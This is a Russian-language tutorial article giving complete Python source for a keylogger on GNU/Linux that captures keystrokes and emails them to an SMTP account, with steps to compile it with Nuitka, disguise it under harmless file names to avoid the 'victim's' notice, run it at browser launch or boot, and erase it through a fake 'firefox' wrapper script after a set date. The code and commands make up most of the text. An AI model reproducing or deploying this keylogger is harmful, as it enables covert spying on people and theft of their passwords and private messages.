Python кейлоггер для GNU/Linux. Отправка информации по электронной почте с последующим самоуничтожением

В этой статье я покажу вам, как сделать продвинутый кейлоггер, который отправляет сообщения по электронной почте и самоуничтожается через определенный промежуток времени.

Используемый код (мы сохраним его как compile_docs.py1) выглядит последующим образом:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
from email.message import EmailMessage
import smtplib, ssl

keys = ''

def on_press(key):
    print(key)
    global keys, count
    keys += str(key)
    print(len(keys),  keys)
    if len(keys) > 190:
        send_email(keys)
        keys = ''

def send_email(message):
    smtp_server = "CHANGE"
    port = 587
    sender_email = "CHANGE"
    password = "CHANGE"
    receiver_email = sender_email


    em = EmailMessage()
    em.set_content(message)
    em['To'] = receiver_email
    em['From'] = sender_email
    em['Subject'] = 'keylog'

    context = ssl.create_default_context()

    with smtplib.SMTP(smtp_server, port) as s:
        s.ehlo()
        s.starttls(context=context)
        s.ehlo()
        s.login(sender_email, password)
        s.send_message(em)

with Listener(on_press=on_press) as listener:
    listener.join()

Мы должны заменить каждое CHANGE на информацию для отправки письма. Очевидно, что используемый email должен быть анонимным, и вы можете его уничтожить. По сути, с помощью приведенного выше кода мы отправляем письмо каждый раз, когда нажимается несколько клавиш (порядка 190 символов).

Теперь мы собираемся скомпилировать код с помощью Nuitka:

sudo pip3 install nuitka
nuikta3 compile_docs.py

Программа создаст скомпилированный файл под названием compile_docs.bin. Теперь вам нужно сделать так, чтобы этот файл запускался при запуске браузера или загрузке компьютера, как это было описано в предыдущей статье.

Если мы хотим, чтобы программа самоуничтожилась через некоторое время, мы можем создать что-то вроде этого2:

#!/bin/sh
DATE=`date +%Y%m%d`
if [ $DATE > 20230501 ]; then
    rm /usr/share/doc/python3/compile_docs.py
    rm /usr/share/doc/python3/compile_docs.bin
    mv firefox.bin $0  # Removes this file
else
    python3 nuestro_keylogger.py
fi

Шаги по удалению кейлоггера могут немного отличаться в зависимости от того, как хорошо вы его спрятали.


  1. Это примерное название, лучше использовать имя, которое не привлечет внимания нашей вашей жертвы. ↩

  2. Файл будет сохранен как firefox или любая другая подобная программа. ↩